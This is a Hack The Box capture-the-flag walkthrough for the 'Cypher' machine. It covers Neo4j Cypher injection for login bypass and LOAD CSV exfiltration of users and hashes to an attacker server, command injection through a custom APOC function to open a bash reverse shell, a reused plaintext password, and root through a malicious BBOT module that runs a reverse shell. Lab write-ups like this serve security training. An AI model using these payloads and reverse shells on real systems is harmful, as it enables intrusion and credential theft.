Hack The Box / LINUX / 2025-03-08
Hack The Box — Cypher (Linux)
Neo4j Cypher injection leads to auth bypass and data exfiltration, a vulnerable custom APOC function gives command injection, and privileged BBOT module loading yields root.
Target
- IP:
10.129.231.244
Recon
sudo nmap -sC -sV 10.129.231.244 -p- -T5 -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add cypher.htb to /etc/hosts.
Go to http://cypher.htb/.
Go to http://cypher.htb/login.
There is a login form.
Try entering a single quote (') in the username.
We get an error.
We notice:
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 55 (offset: 54))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = ''' return h.value as hash"
^}
We have the query:
MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = ''' return h.value as hash
We can perform Neo4j Cypher injection.
Useful references:
https://book.hacktricks.wiki/en/pentesting-web/sql-injection/cypher-injection-neo4j.html?highlight=neo4j#cypher-injection-neo4jhttps://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploitshttps://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8https://hackmd.io/@Chivato/rkAN7Q9NY
Start a Python HTTP server:
python3 -m http.server 8000
Now use this payload in username:
' OR 1=1 CALL db.labels() YIELD label AS d LOAD CSV FROM "http://10.10.14.3:8000/?c="+ d AS line RETURN line //
Click Sign in.
In the Python server terminal we get:
10.129.231.244 - - [04/Mar/2025 21:53:41] "GET /?c=USER HTTP/1.1" 200 -
10.129.231.244 - - [04/Mar/2025 21:53:42] "GET /?c=HASH HTTP/1.1" 200 -
10.129.231.244 - - [04/Mar/2025 21:53:42] "GET /?c=DNS_NAME HTTP/1.1" 200 -
10.129.231.244 - - [04/Mar/2025 21:53:42] "GET /?c=SHA1 HTTP/1.1" 200 -
10.129.231.244 - - [04/Mar/2025 21:53:42] "GET /?c=SCAN HTTP/1.1" 200 -
10.129.231.244 - - [04/Mar/2025 21:53:42] "GET /?c=ORG_STUB HTTP/1.1" 200 -
10.129.231.244 - - [04/Mar/2025 21:53:42] "GET /?c=IP_ADDRESS HTTP/1.1" 200 -
' OR 1=1 WITH collect(u.name) AS userList UNWIND userList AS x LOAD CSV FROM "http://10.10.14.3:8000/?c=" + x AS line RETURN line //
We get only one user:
10.129.231.244 - - [04/Mar/2025 22:52:47] "GET /?c=graphasm HTTP/1.1" 200 -
' OR 1=1 WITH collect(h.value) AS hashList UNWIND hashList AS x LOAD CSV FROM "http://10.10.14.3:8000/?c=" + x AS line RETURN line //
We get only one hash:
10.129.231.244 - - [04/Mar/2025 22:53:48] "GET /?c=9f54ca4c130be6d529a56dee59dc2b2090e43acf HTTP/1.1" 200 -
' OR 1=1 LOAD CSV FROM "http://10.10.14.3:8000/?c="+ u.name + ':' + h.value AS line RETURN line //
10.129.231.244 - - [04/Mar/2025 21:41:56] "GET /?c=graphasm:9f54ca4c130be6d529a56dee59dc2b2090e43acf HTTP/1.1" 200 -
The hash does not crack.
But we can bypass login.
For example, use password a.
echo -n 'a' | sha1sum
86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 -
Now put this in username:
' OR 1=1 return '86f7e437faa5a7fce15d1ddcb9eaeaea377667b8' as hash //
And in password:
a
Click Sign in.
We are inside.
Now URL is: http://cypher.htb/demo.
This page allows arbitrary Cypher queries.
gobuster dir -u 'http://cypher.htb/' -w /home/kali/SecLists/Discovery/Web-Content/raft-small-words.txt -t 50
/login (Status: 200) [Size: 3671]
/index (Status: 200) [Size: 4562]
/api (Status: 307) [Size: 0] [--> /api/docs]
/demo (Status: 307) [Size: 0] [--> /login]
/. (Status: 200) [Size: 4562]
/testing (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]
/about (Status: 200) [Size: 4986]
Go to http://cypher.htb/testing/.
You can download: custom-apoc-extension-1.0-SNAPSHOT.jar.
Download it and open with JD-GUI:
jd-gui
There are two interesting files: CustomFunctions.class and HelloWorldProcedure.class.
In CustomFunctions.class there is this function:
public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://"))
url = "https://" + url;
String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
System.out.println("Command: " + Arrays.toString((Object[])command));
[...]
So this custom function executes a shell command.
Go back to http://cypher.htb/demo.
Enter any query.
Intercept request in Burp.
The request format is:
GET /api/cypher?query=a HTTP/1.1
Send it to Repeater.
Set query parameter to this (URL-encode with Burp):
CALL custom.getUrlStatusCode("http://example.com")
We get:
[{"statusCode":"0"}]
Now we can do command injection.
We can get a reverse shell.
Start netcat listener:
nc -vlnp 4444
Use query:
CALL custom.getUrlStatusCode("http://example.com ; bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'")
We get a reverse shell as neo4j.
ls /home
There is a user graphasm.
cd /home/graphasm
cat bbot_preset.yml
targets:
- ecorp.htb
output_dir: /home/graphasm/bbot_scans
config:
modules:
neo4j:
username: neo4j
password: cU4btyib.20xtCMCXkBmerhK
ssh graphasm@cypher.htb
Use found password.
sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
file /usr/local/bin/bbot
/usr/local/bin/bbot: symbolic link to /opt/pipx/venvs/bbot/bin/bbot
file /opt/pipx/venvs/bbot/bin/bbot
/opt/pipx/venvs/bbot/bin/bbot: Python script, ASCII text executable
cat /opt/pipx/venvs/bbot/bin/bbot
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
This appears to be:
https://github.com/blacklanternsecurity/bbot
We can create a custom preset that loads a custom module that executes a command.
On attacker machine, start netcat listener:
nc -vlnp 4444
On target machine, create file /dev/shm/rev with content:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/4444 0>&1
Make it executable:
chmod +x /dev/shm/rev
Create file /dev/shm/presets/mypreset.yml with content:
description: Custom preset
module_dirs:
- /dev/shm/modules
modules:
- mymodule
Create file /dev/shm/modules/mymodule.py with content:
from bbot.modules.base import BaseModule
import asyncio
class mymodule(BaseModule):
watched_events = ['*']
async def handle_event(self, event):
ret = await self.run_process("/dev/shm/rev")
for line in ret.stdout.splitlines():
print(line)
return ret.stdout
Now run:
sudo bbot -c 'home=/dev/shm' -p presets/mypreset
We get a reverse shell as root.